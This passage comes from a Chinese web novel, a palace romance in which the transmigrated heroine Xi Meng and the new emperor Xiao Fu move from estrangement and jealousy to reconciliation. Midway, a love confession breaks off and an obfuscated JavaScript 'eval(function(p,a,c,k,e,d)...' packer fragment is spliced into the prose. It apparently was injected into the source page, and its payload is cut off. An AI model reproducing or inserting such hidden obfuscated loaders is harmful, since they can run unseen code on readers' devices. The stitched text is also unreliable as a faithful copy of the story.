郗萌自己也啃了一大口,满足地眯起眼,“是吧?自己种出来的,吃着就是香!这就是劳动的快乐。” 收获的时节总能给人带来最朴素的喜悦。 郗萌将今日新摘的蔬果慷慨地分给别院里的每一个人,让大家都尝尝鲜。所谓,“独乐乐不如众乐乐”。 言婉薇回到房中,看着篮子里水灵灵的瓜果,不禁自嘲一笑,坐悲叹不如起而行,与郗萌相比自己确实落了下乘。而她那片沉寂的心湖,似乎被这充满生命力的热情激起了圈圈涟漪…… 自举兵复国后,萧复没有了以前纨绔子弟的玩世不恭、潇洒快意,过往的笑容几乎不见,变得异常深沉冷漠。 郗萌偶尔遇到他与徐决在院中商议事情,眉宇间总是笼罩着一层化不开的阴郁。 她远远望着,心里泛起一丝莫名的恍惚,那个会带着她吃喝玩乐、插科打诨的萧复,和眼前这个心思深沉、背负着国仇家恨的男人,究竟哪一个才是真实的他?或许,两者都是,只是自己不曾真正的了解他…… 这晚,郗萌睡得并不踏实,睡前还在想着萧复的变化。总想用忙碌麻痹自己,但孑然一人时又忍不住想他…… 黑暗中,一种被凝视的异样感让她猛然惊醒。借着窗外透进的微弱月光,她赫然发现床畔立着一个熟悉的身影。 她瞳仁骤缩,心跳加快,下意识拽紧被子,声音带着刚醒的沙哑和一丝警惕,“你干嘛?” 萧复的脸融在阴影里,让人看不清表情,郗萌只听到他低沉的嗓音,带着一丝夜露的凉意。 “食髓知味。半年不见,甚是想念。”他俯下身伸出手,指尖轻轻抚上她的脸颊,那触感带着夜风的微凉,却激起她皮肤一阵战栗。随即,他倾身揽住她柔软的腰肢,温热的气息拂过她的耳畔,声音蛊惑,“还是那么软……” 郗萌浑身一僵,用尽全身力气将他推开,声音因愤怒而微微发颤,“可惜你吃不着了!我只和爱的人做有爱的事。你说过,咱们互不相欠了。我也说过,咱俩情断义绝,请你哪凉快哪儿呆着去。对了,我还得感谢你‘不计前嫌’给我住处,供我吃喝,但请你大人大量,别再来找我了。免得惹您生烦。” “不烦……”萧复脱口而出。 话如蚊声,但在寂静的夜里异常清晰,郗萌听到了。两个字就搅得她内心翻涌,让她又快掉进萧复的陷阱…… 郗萌简直要被气笑了,虽然她看得出萧复也余情未了,但想起他昨天的话就怒火难消,出言讥讽道,“你有病吗?前几天是谁一回来就劈头盖脸的拿话伤我,说我是细作,说一切都是在做戏?用那样的话刺我,把感情贬得一文不值。现在又跑来装什么情圣?打一巴掌再给个甜枣?萧复,我不是你召之即来挥之即去的玩物!” “你不是……”这次萧复没有把话说出口,而是黑暗中沉默不语,他也确实觉得自己有病,而解药就是她。爱恨在他胸中翻搅,让他无法给出清楚的表达自己。他恨她的身份,恨这无法摆脱的国仇家恨横亘其间,却又无法否认,在那些伪装的日子里,真实的心动早已悄然发生。他不想二人的感情就这么惨烈的结束,可又无法挽留它…… 沉默在两人之间蔓延,带着无声的角力。半晌,他才开口,情绪明显有些低落,“我要回前线了。” 郗萌听到心跳漏了一拍,自己还是担心他,语气缓了缓,“算了,我也懒得研究你是怎么想的了。你回前线小心点,要不就没人养我这个米虫了。赶紧睡觉去吧,别没事找事瞎转悠了。” 逐客令已下,萧复却还在原地站了许久,久到郗萌以为他会强行做些什么。但他只是默默地凝望着她,这举动让她心慌意乱。最终,深深地看了她一眼,便如来时一般,悄无声息地退出了房间,融入了外面的夜色中…… 萧复在栖霞别院短暂待了十日,便离开了,没有与郗萌正式告别。 郗萌一个人坐在房间里,看着窗外一片落叶坠地,脑海里却不争气地浮现出,昨夜他离去时的落寞背影。她用力拍了拍自己的脑袋,低声骂了一句,“没出息!他都那样对你了,还想他干嘛!” 栖霞别院的生活依然继续。 秋收过后,没什么农活要忙了,郗萌又给自己找了件事做——跟着言婉薇抄写佛经。 起初,她只是为了打发时间,让自己静下心来,后来竟成了习惯。她不像言婉薇那般通晓佛法,只挑最简单的《平安经》来抄,一笔一划,极其认真,但字儿确实令人不敢恭维。而抄好的经纸,她会亲自在院角的铜盆里焚化,看着青烟袅袅升起,心里会获得片刻的安宁。她不曾署名,但每张纸的角落,画上了一把展开的小小折扇。 言婉薇见状,也知她与萧复是“藕断丝连”,情意难断,真心希望他们能守得云开见月明。 原书中针锋相对的女主与女配,竟然在这别院里相处融洽。两人时常对坐窗前,一个抚琴,一个抄经,或是就着一壶清茶,感叹一番这不讲道理的世道。言婉薇会教郗萌轻弹古琴的宫商角徵羽,郗萌则会给言婉薇讲聊斋志异的鬼怪故事。 在这种相依相伴的琐碎日常里,那些家国 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徐决看着自家主子这副明明在意却强装冷漠的别扭模样,心下暗叹,不动声色地补充道,“还有一事,颇为奇怪。路云说,夫人近来每日皆会抄写《平安经》,并于院中亲自焚烧。每张经纸虽不署名,但都会在落款处画一把展开的折扇。” 话音未落,乌云渐散,萧复沉郁的气场瞬间淡了几分,尽管他极力克制,但嘴角掩饰不住地扬起,眼底都染上了几分悦色。他轻咳一声,敛了敛笑意,“嗯,知道了。这些时日辛苦了,你且退下吧。” 徐决躬身告辞,往外走了几步,回头低声添了一句,“世子,想笑便笑吧,此处无人会笑话您。” 萧复表情一僵,“恼羞成怒”地瞪了他一眼,“注意你的言辞。” 徐决从善如流,立刻认错,“属下失言,万望见谅。”随即他迅速退出了大帐。 时光荏苒,又是半年过去。 在这半年里,萧复用兵诡谲,林澄霁等将领作战悍勇无匹,不少起义首领归附,还有饱受梁国压迫的齐国故民箪食壶浆以迎王师,齐军势如破竹。虽遭遇了以江川为首的梁军将领的激烈抵抗,战线推进时有波折,但昌江以南的梁国主力已灭,齐国故土十之七八已重归萧复势力之下。梁国欲退江据守,望图划江而治,但北戎不断侵扰,南北夹击之下,梁国覆灭只是时间问题。 萧复于故都金麟城光复齐国,登基称帝,建元“昭启”。昔日山阳王府的纨绔世子,终于实现了他恢复故土、复兴齐国的宏愿,更是剑指那万里江山。 复国之初,百废待兴。他效仿古制,重设三省六部,任命文武百官,颁布了一系列政令,安抚流民、百姓,鼓励耕织,轻徭薄赋,让这个刚刚复起的政权艰难而又坚定地运转起来。 登基后,他立刻论功行赏。林澄霁战功卓著,官居镇远大将军,封为“镇国公”;徐决被封为禁军统领,掌管禁军与情报;已故的沈焕被追封为“卫国公”,爵位由其独子继承,世袭罔替,以慰其在天之灵。其他在复国之战的功臣们都被分封爵位,赏赐金银财宝,牺牲的每个人也以功劳分别追封抚恤…… 而这半年里,栖霞别院也不再是信息孤岛。前线的战报、金麟城的消息等,总会隔一段时间就传回来一些,不像之前那般杳无音信。 郗萌和言婉薇从这些信息里,拼凑着外间的天翻地覆。 24. 金麟 这一日,林澄霁突然造访别院。他一身风尘,铠甲未卸,一路虎虎生风,随仆人来到客堂。 见到郗萌,他不由得眼睛一亮,朗声笑道,“末将,参见公主。” 郗萌看着他被战火淬炼得更加坚毅的面庞,微笑回道,“林寨主,不对,应该叫林将军了,别来无恙啊。还叫我什么‘公主’,指不定哪天就成亡国遗少了。”她注意到林澄霁打量自己的目光,从容笑道,“是不是黑了点,也壮了点?天天干活,风吹日晒的,呵呵。” 林澄霁点点头,笑容里多了几分感慨。他在军中没少见到萧复那副苦大仇深、借军务麻痹自己的模样。如今见郗萌,虽表面看起来神采飞扬,但眉宇间笼着一层挥之不去的淡淡忧伤,不似初遇时那般眼神清亮,笑容毫无阴霾。这两人,一个冷硬,一个强撑,明明彼此牵念,却偏偏弄到这步田地。二人对他恩重如山,他实在不忍见他们如此。 心思转动间,林澄霁半真半假地凑近一步,压低声音逗她,“既然你跟圣上闹掰了,在这儿也是郁郁寡欢,不如跟我走吧?我如今好歹也是个将军,保你衣食无忧。” 郗萌先是一愣,随即失笑,斜睨了他一眼,“你不嫌弃我二婚啊?” 林澄霁一拍胸脯,豪气干云道,“是你就好,管他几婚!” “别”,郗萌收敛了笑容,摇头道,“林将军,你是个顶天立地的好男儿,值得更好的姑娘,真心真意、从头到尾地待你。别在我这棵歪脖树上吊死了,犯不上。” 林澄霁看着她清澈的眼眸,知道她并非虚言推诿,便换了种方式激她,“怎么?您是舍不得这荣华富贵,还有即将到手的皇后尊位?” 郗萌嗤笑一声,语气带着看透世事的淡然,“这不废话吗?我啥本事没有,离了这棵大树,出去就得饿死。我就这么有吃有住的待着,安安稳稳地过日子,不折腾了。皇后什么的,我可不去觊觎,那是没事找麻烦。”她顿了顿,望向远方的天际,声音低了下去,“而且,所谓‘忠臣不侍二主,烈女不从二夫’……我倒也不是那等愚忠愚贞的人,就是觉得,过不了心里那道坎。以后我和他,大抵是桥归桥,路归路,不会再见了。” 听她将话说到这份上,林澄霁知她是心意已决。他收起玩笑之色,坦然道,“我明白了,刚才玩笑而已,您别当真。” “我知道。”郗萌莞尔一笑,他明白林澄霁在关心她和萧复的事,“对了,什么事劳你这位国公爷亲自前来啊?” 随即林澄霁道明来意,“我此次前来,是奉圣上之命,接您和言小姐前往金麟城。南边的战事已定,圣上不忍您们在此受苦。” “唉,这自给自足的日子挺好,虽然比不上京城繁华,但绝对称不上什么受苦。”郗萌其实猜到自己不会永远留在栖霞别院,只是没想到来的这么快,“这等小事怎么还让你来了?派人送个信儿不就行了。” “咱们好歹是旧相识,说话方便些。而且,我想圣上也是怕您不去吧……”林澄霁想她刚才的态度,略带忐忑道,“您要去金麟城吗?” 郗萌没有立即回答,起身走到敞开的房门处,无声环顾这个生活了一年多的院落。这里的一草一木,都浸透了她劳动的汗水,也见证了她的心碎与成长,她确实不想离开这里。这里远离外界的喧嚣,而京城,她想想就头大……但她也清楚,自己如今不过是棋盘上的棋子,去哪儿,从来由不得自己选择。她想她这只金丝雀又要关笼子了,而且也不想让林澄霁为难。 郗萌想通后,转头平静道,“我去,不过换个地儿待着呗。只是婉薇没在这儿,待会儿我随你去找她,看看她的意思。” 林澄霁微微颔首,心中一颗大石放下,总算完成了萧复交给的任务,感觉比上阵杀敌还累心。 随后,二人去找言婉薇,也得到了肯定的答复。于是,郗萌与言婉薇收拾了两日,随车驾前往金麟城…… 从栖霞山出来,这一路无人再将她们迷晕。马车缓缓而行,窗外的景色从人迹罕至的深山,逐渐变为饱经战火摧残、正在缓慢恢复生机的旷野村镇。一进一出,一年已过,山中岁月仿佛只是一场悠长而沉重的梦,梦醒时分,外面早已是物是人非,沧海桑田…… 马车粼粼,经过一个多月的颠簸,郗萌她们的车驾终于驶入了金麟城。 郗萌悄悄掀开车帘一角向外望去,见街道宽阔,车水马龙,两旁商铺鳞次栉比,招幌迎风。虽依稀可见战火留下的些许痕迹,但往来行人面色从容,叫卖声此起彼伏,市井间透着一股蓬勃的生气。 “看来萧复治国确实有两把刷子,比他以前装纨绔打理生意的本事还厉害。”她心下暗忖。这金麟城的繁华,确实远超她的预期,比定城更显帝都气象。 与林澄霁在宫门外告别后,郗萌与言婉薇随着引路的内侍,步入了巍峨的宫墙。 红墙高耸,黄瓦覆顶,飞檐斗拱层层叠叠,一眼望不到尽头。行走在漫长的宫道上,两侧是整齐肃穆的殿宇楼阁,郗萌只觉自己渺小得像一粒尘埃,快被这庞大而森严的宫殿群吞噬。一种无形的压迫感扑面而来,让她下意识地攥紧了衣袖。 她们被安置在一处名为“翠云轩”的宫苑,二人正好还能彼此作伴。这翠云轩位置稍偏,环境却极为清幽,院中花木扶疏,一角还有个小巧的池塘,几尾锦鲤悠然游弋。屋内陈设亦是简洁雅致,一应用品却无不精致,显然是用心准备了。 最让郗萌惊讶的是,翠云轩后院,赫然开辟出了一片整整齐齐的田地,泥土湿润,显然是新近翻垦过的。 郗萌看着这片专为她准备的“自留地”,心情复杂,暗道,“难得他还想着,可这么做有什么意义呢?……” 这里并非皇后理应居住的昭华宫,而昭华宫至今一直空置。萧复登基以来,也并未选纳任何妃嫔。翠云轩宫人们恭敬地称她为“夫人”,一个看似尊贵,实则暧昧不明、无名无分的称呼。 郗萌面对这些倒不在意,什么皇后、嫔妃在她眼里都是麻烦,宫斗的事她可做不来。她反而去看了看准备的农作物的种子,准备继续栖霞别院未完成的“大业”。 而萧复一直忙于朝野政务和北伐之事,自郗萌入宫后还未踏进过翠云轩,实际他的的内心依然在挣扎…… 萧复不来,郗萌倒是乐得自在。每天种种地,吹吹唢呐,与言婉薇唠唠嗑,日子过得还算滋润。 可这一日,郗萌正与言婉薇在花园里品茗闲聊,忽听宫女来报,程家小姐程静瑜前来探望言婉薇。 郗萌眉头几不可察地一蹙,她对此人可没什么好印象。她记得原书里,这程静瑜表面是言婉薇的闺蜜、狗头军师,实则也心仪男主郗宸。那次郗宝设计要毁言婉薇清白,这程静瑜明知内情却装傻充愣,借口远离她身边,险些让言婉薇遭难。 在程静瑜来之前,晓福低声告诉郗萌,如今程静瑜的父亲程茂官居中书省左丞,乃萧复复国的功臣。这位程小姐便仗着父势,上蹿下跳,一心想着入主中宫,是见风使舵的一把好手。 郗萌虽然看不上她,但也不想撕破脸皮,准备待会儿不说话,“萌”混过去算了。 不多时,程静瑜袅袅娜娜地进来,她先与言婉薇亲热地寒暄几句话,目光便转向了一旁自顾自喝茶的郗萌,语气带着毫不掩饰的轻蔑,“哟,这不是翌阳公主吗?哦,瞧我这记性,梁国都快没了,该叫您郗夫人才是。您看,这都快成亡国了,您这公主威仪还是这么足,没位分还能在宫里这么理直气壮,这份气魄胸襟真是令人佩服。只怕呀,哪天圣上烦了厌了,一道旨意,这锦衣玉食就换成牢饭了,着实令人担心呐。” 她声音娇滴滴,话语却如淬了毒的针,一句句往人心窝子里扎。 郗萌闻言不愠不怒,轻轻放下茶杯,抬眼望向程静瑜,目光平静地盯着她那副小人得志的嘴脸,依旧一言不发。 程静瑜被她看得有些发毛,强撑着气势道,“怎么?我说错了吗?一个梁国余孽还耍什么威风……” “啪!” 一声清脆响亮的耳光,打断了程静瑜未尽的嘲讽。 程静瑜捂着脸,难以置信地瞪大眼睛,尖声道,“你!你敢打我?!” 郗萌甩了甩微微发麻的手,语气淡漠如冰,“打你就打你,难道还要挑个黄道 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未等萧复再开口,程静瑜已绿茶附体,委委屈屈、不甚诚心地福了福身,“低眉顺眼”的说,“刚才是静瑜失言了,还请夫人见谅。” 郗萌看都懒得看她,猛地抬手,竟狠狠扇了自己一记耳光,力道之大,让她半边脸颊瞬间红肿起来。 她看着萧复和程静瑜,冷冷道,“好了,扯平了。程小姐,哪儿凉快哪儿呆着去吧。” 这一下变故,让众人都愣住了。程静瑜眼中刚闪过一丝得意,却听萧复冰冷入骨的声音响起,“程小姐,你入宫不守规矩,言语冲撞,更是对夫人不敬。掌嘴五下,以示惩戒。” 程静瑜瞬间脸色煞白,难以置信地看着萧复。 萧复见状,语气依然冰冷,“你自己动手,还是让内侍来?” 程静瑜顿时泪盈于睫,梨花带雨,她不甘心如此,却不敢违逆,只得屈辱地抬起颤抖的手,不情不愿地往自己脸上扇去。五下敷衍的巴掌过后,脸颊也微微泛红。 “送程小姐回府。”萧复吩咐完,瞟了一眼言婉薇。 言婉薇会意,叹了口气,上前扶着嘤嘤哭泣的程静瑜,将送她出宫去。 闹剧收场,屋内只剩下萧复与郗萌二人。 萧复快步走上前,下意识地伸手,想触碰她红肿的脸颊,眼中是藏不住的心疼,“疼吗?” 郗萌偏头躲开,没好气地道:“这不废话吗,要不你试试?” “你也真下得去手……”萧复叹气。 “我知道,人家是功臣之女,你的江山稳固还得靠她爹。我自认倒霉,挨这一下,大家面上都好看。”郗萌语气平静得可怕,“但以后,劳烦陛下管好这些人,别让她们来我跟前晃悠,没劲儿。我可不想再扇完别人,还得扇自己个儿。” “我知道,这次是我疏忽,以后不会了。”萧复看着她红肿的脸颊,语气软了下来,“你……” “别用这种眼神看我”,郗萌打断了他的话,眼神疏离,“你都说了‘你假我也假’。如今还装什么深情款款?怪没意思的。” 萧复所有的话都被堵了回去,他看着郗萌拒人于千里之外的模样,最终只能疲惫地闭了闭眼,“罢了,你好好休息吧。” 言罢,萧复便转身离去,心里却想着待会找太医为她看看脸伤。 见萧复离开,晓福才敢进屋,看着郗萌脸上的伤,心疼又不解,“公主,您这又是何苦?您每日想他,这好不容易人来了,为什么不能把话说开呢?奴婢瞧着,他心里明明也还有您……” 郗萌望着窗外暮色,喃喃道:“不一样了。回不去了……” 她何尝看不出萧复眸中未熄的情意?他或许还有点喜欢自己。可那些欺骗、算计,以及横亘在两人之间的国仇家恨,不是轻易就能迈过去的坎。更何况,他是皇帝,将来会有三宫六院,七十二嫔妃。她无法接受,不如就此快刀斩乱麻,至少还能保留一丝早已千疮百孔的尊严。 经此一事,萧复也深感程茂近来有些恃功而骄,是该寻机小惩大诫一番了…… 25. 剖白 经过程静瑜那场闹剧后,言婉薇主动找到郗萌,直言她心有所属,与她住在宫里于理不合,已请求搬出皇宫,萧复也已经应允,将她安置在城西的一处雅致院落,还说若宫中无趣可找去她解闷。 郗萌知道她是为了避嫌,还有因掌掴之事的自责。看着言婉薇善良温婉的面容,她有点舍不得她离开,但人各有志不能强求,最后还是想着送她离开翠云轩。 又一日,萧复再次来到翠云轩。 他沉默片刻,开口道,“婉儿昨日和我说,郗宸派人暗中与她联络,想接她回去,她登下向我辞行。我也劝不动她……” 萧复说着深叹一声,一副“恨铁不成钢”的模样。 郗萌理解萧复的郁闷,也理解言婉薇的决绝。在别人看来言婉薇是背叛母国,但在她看来,言婉薇明知梁国危在旦夕,还要与郗宸共苦,勇气着实可嘉,自己也不好站在道德制高点说什么风凉话,只愿他们有情人终成眷属了。 “你……可也想回梁国?你若想,朕可以安排。”萧复心不甘情不愿道。 郗萌却不假思索道:“不了。我‘大病’之后,就失忆了,那边谁都不认识,回去做什么?” 一丝几不可察的窃喜掠过萧复心头。 然而,郗萌下一句话便让他刚扬起的嘴角僵住,“再说了,梁国都快完蛋了,我回去当阶下囚啊?那也没有好吃好喝地供着我?我又不傻。” 萧复看着她那副“务实”到近乎没心没肺的模样,一时竟无言以对,所有酝酿好的情绪都被堵在了胸口,最终只能化作一声无奈的叹息,消散在翠云轩略带土腥气的风里…… 金麟城的深宫,红墙内外仿佛是两个世界。墙外,新齐的政权在萧复的铁腕与怀柔下逐步稳固;墙内,翠云轩却像一潭被刻意遗忘的静水,波澜不惊。 郗萌与言婉薇告别后,独在这宫廷内感觉有点孤单,不禁怀念起栖霞别院的日子,甚至还有定城那无忧无虑的生活。可惜,昨日不可追,但她不知来日可不可期…… 在郗萌百无聊赖之际,朝堂之上却掀起一场风波。 中书省左丞程茂贪赃枉法、纵容族亲侵占民田的罪证被查实,萧复龙颜震怒。但念及其复国有功,萧复未对他施以重刑,下旨将程茂贬黜出京,永不叙用。而原山阳王府的管家,亦是齐国旧臣钟齐贤,因忠心耿耿、处事公允,被擢升为中书省左丞,接替了程茂的位置。 御书房内,政务暂毕。 钟齐贤议完事并未立即告退,他看着龙案后眉宇间凝着化不开沉郁的年轻帝王,心中一阵叹息。他几乎是看着萧复长大,从亡国遗少到纨绔世子,再到如今君临天下,他那份深藏的抑郁与挣扎,他如何看不出来,而他也知道萧复如此都是因为他与郗萌那斩不断理还乱的情仇。 “陛下”,钟齐贤斟酌着开口,语气带着长辈的关切,而非臣子的恭谨,“近日政务繁冗,还望保重龙体。有些事若您郁结于心,不妨说出来,或许老臣能分担一二。” 萧复揉了揉眉心,面对这位如同叔伯的长辈,他紧绷的心防松懈了些许。他将与郗萌之间的种种纠葛,从最初的利用试探,到后来的情难自禁,再到如今的决裂与痛苦,缓缓道出,声音里充满了无力感。 “钟叔,朕有时觉得,这万里江山,竟比一人之心更易掌控。” 钟齐贤静静听完,锐利的眼中闪过一丝了然,劝道,“陛下,您这是当局者迷啊。老臣反复思量您所言,注意到几个蹊跷之处。夫人她总说自己‘失忆’,心心念念要‘回家’,可看她言行,所指绝非梁国皇宫。她还曾对您说,‘这个我’,以前心里没人,后来有了您。” 他顿了顿,看着萧复若有所思的面庞,继续分析道,“老臣记得清楚,翌阳公主初入王府时,是何等嚣张跋扈,当时都传言她心仪那梁国太子,甚至不惜将您赶出新房,都不让您近身,显然和那句“以前心里没人”不相符。后来她病后变得通情达理、善待他人,所言所行简直判若两人。这变化之大,匪夷所思。请陛下恕老臣妄言,这倒让老臣想起了些志怪传说中才有的‘夺舍’之象。” 萧复瞳孔微缩,这个他曾经玩笑般问过,却被郗萌激烈反应打断的念头,再次被钟齐贤郑重提起。 “老臣以为”,钟齐贤沉声道,“夫人或许有难以明言的苦衷,只能通过这种方式旁敲侧击地告诉您。陛下若有机会,何不再试探一二?” 钟齐贤的话像一颗投入心湖的石子,在萧复心中漾开层层涟漪。他觉得此话甚有道理,一直困扰他的国仇家恨都消解了不少…… 翠云轩 郗萌本来听说程茂被惩治还挺高兴,正挽着袖子哼着小曲儿给菜地松土驱虫,但晓福急匆匆地回来,屏退左右,似乎发生了什么重大的事。 晓福凑到郗萌身畔,压低声音道,“公主,奴婢从采买的路上听说了一件事。外面都在传,前些时日,北戎派了使团来金麟,表面国事交流,但里头还有位北戎公主,别人都说是来和亲的……” 郗萌握着小锄头的手顿了顿,随即又若无其事地继续松土,语气平静无波,“哦,政治联姻嘛,很正常。用一桩婚事换取边境安宁,对刚立国的齐国来说,是笔划算的买卖。你不用和我说这些了,出去辛苦了,去歇着吧。” 她表现得浑不在意,甚至还能理性分析利弊。然而,当夜她却辗转反侧,抑郁难平。许是白日里受了些风,加上这股无名心火,内外交攻之下,她竟病倒了,还发起了高烧。意识模糊间,她唇间溢出的尽是“想回家,妈妈”之类的呓语。 她并不知道的是,萧复已查知那北戎公主心有所属,其心上人甚至为爱冒险潜入了金麟城,而他早就想好了解决之法。 在她养病期间,萧复将计就计,故意放松驿馆戒备,引得那对苦命鸳鸯私下相会,再适时“撞破”,演了出捉奸拿双的戏码,而他本人也做足了被羞辱、被辜负的姿态。经此一事,北戎使团自知理亏,联姻之事就此作罢,只谈了战后梁国领土归属、茶盐等交易之事,反而还欠下萧复一个人情。萧复顺势成全了那对有情人,既解决了麻烦,又博了个宽仁的名声。 而这一切,被蒙在鼓里的郗萌无从得知。夏日炎炎,她裹在毯子里,浑身滚烫,心里却一阵阵发冷…… 待处理完北戎使团的诸多事宜,萧复立刻带着各式珍稀补品和上好药材,匆匆赶往翠云轩探望。他心中始终记挂着她的病情,更想借此机会,将北戎联姻的真相告诉她,同时也想试探一下钟齐贤的那个猜测。 他踏入内室时,郗萌刚喝了药,正恹恹地靠在床头。见他进来,她只是淡淡瞥了一眼,便移开了目光。 萧复在她床边的绣墩上坐下,挥手让宫人退下,然后将如何设计让北戎主动放弃联姻,又如何成全那对有情人的经过,原原本本地告诉了她。 郗萌安静地听着,脸上没什么表情,直到他说完,她才轻轻咳了两声,淡淡道,“陛下深谋远虑,令人佩服啊。其实,你要娶北戎公主稳定北疆,我也理解。不打仗,化干戈为玉帛,对于百姓来说,确实是最优解。皇上嘛,三宫六院实属平常,哪有一心一意的道理?后宫那么多宫殿,本就不是摆设。”她语气平淡得像在唠家常,面上不愠不喜,“其实,你和我说不着这些了……但还是谢谢你来看我,给我送药、送这些好吃的。以后让内侍送来就行,不劳您屈驾了。” 她越是这般“懂事”,这般冷漠地将自己推开,萧复的心就越像是被一只无形的手紧紧攥住,痛得无法呼吸。压抑了太久的情感在此刻轰然决堤,他再也顾不得什么帝王威仪、什么权衡算计,猛地抓住她露在锦被外微凉的手,声音带着几分颤抖,坦白道,“我是骗过你,从你嫁入王府的那一天起,我就在骗你!我伪装纨绔,一直筹谋复国,甚至连对你的感情,最初我也在不断告诉自己那是假的,是在做戏!不停地自欺欺人……”他直视着她诧异的眼眸,一字一句,剖白心迹,“可当我抛却那些国仇家恨的情绪,静下心来慢慢想,我才发现,那些心动是真的,那些想要守护你的念头是真的,看见你笑我便开心,看见你难过我便心疼,这些全都是真的!我不是什么情圣,这些时日我矛盾、我纠结、我反复无常,我都觉得自己有病。但我对你的感情,自始至终,都由不得我控制,它是真的!” 郗萌靠在靠枕上,病容憔悴,看着他因急切而泛红的眼眶,听着这迟来的、炽热的告白,心防终于裂开了一道缝隙。她叹了口气,声音虚弱却坦诚,“我也承认……我还是喜欢你,不想矫情着不承认。可是萧复,你若不深刻认识到自己之前的错误,我不想,也不能轻易再搭理你。” 见她松口,萧复心中狂喜,连忙道,“我知错了!以前看你那么天真,毫不设防,和你在一起的每一天都是莫名的开心。那是我背负复国重压下,唯一能喘息的时光。我忍不住想多陪陪你,带你尝遍美食,想看你的笑,只对着我笑。可另一方面,我又无法接受自己对‘仇人之女’的动心,每日都在忠诚与背叛、理智与情感中煎熬。那时在祈愿树下,你不知道,你在仰头看树,而我……在看你。你就像照进我灰暗世界里唯一的一抹亮色,让我贪恋,又让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郗萌见萧复吓得脸色煞白,“噗嗤”一笑,变回了往常的模样,“逗你的。谁让你之前那么说我,我肯定得惩罚惩罚你,不然……” 失而复得让萧复听不进去别的,立刻将郗萌拥入怀中,声音是前所未有的温柔与坚定,“别说了,我都明白了。以前是我错了,不该用郗宝的过错来伤害你。昨天也不该那样逼问你,让你承受了无妄之灾。” 所有的误会、猜忌、怨恨,在这一刻,仿佛冰雪遇阳,悄然消融…… 那失而复得的温暖充盈在胸口,让他喉头干涩,他贪恋地不愿放手,搂得更紧,“对不起……是我太蠢,明白得太晚。以后,我再也不会让你受那样的委屈。” 郗萌靠在他坚实的胸膛上,听着他沉稳有力的心跳,一直紧绷的心弦终于松弛下来,轻轻回抱住他,享受这份久违的怀抱。 郗萌想起在定城的种种,笑着问道,“在王府时,你,王爷,还有徐决他们,是不是早就知道我的‘任务’,合起伙骗我?” 萧复尴尬的笑了笑,诚实地回答,“我们确实知情,想将计就计。但我爹是真心满意你这个儿媳妇,临终前,还反复叮嘱我,要善待你。” 真相大白,隔阂尽去。 两人依偎在床间,诉说着分别后的思念与煎熬,那些赌气的话、伤人的言辞,都被此刻的温情所取代。 昏暗的室内,最后只剩下彼此交错的呼吸和缱绻的低语…… 数日后,一道旨意晓谕宫廷。向天下表明,真正的翌阳公主郗宝,于大婚当日便已因急病薨逝。现今居于宫中的“郗氏”,实为山阳王府当年安排的替身,多年来忍辱负重,与梁国细作周旋,成功蒙蔽梁帝,于复国大业有功。 与此同时,钟齐贤主动上表,恳请收此有功的孤女为义女,以全其忠义,并为其正名,萧复自然准奏。 翠云轩几番云雨,萧复似要把这一年多失去的都补回来…… “既为新生,当有新名。”萧复执起她的手,温声道,“你想叫什么了?” 郗萌毫不犹豫地说,“萌。草字头,一个明月的明。” 萧复细细一想,随即了然,唇角漾开温柔的笑意,“萌芽重生,破暗而明。好名字。” 从此,他唤她“萌萌”,她每次听到,眼底都会泛起真切的笑意。她终于彻底摆脱了“郗宝”的阴影,以“钟萌”的身份,光明正大地站在阳光之下。 而他,似乎真的明白,并且完全接纳了,她不是“她”……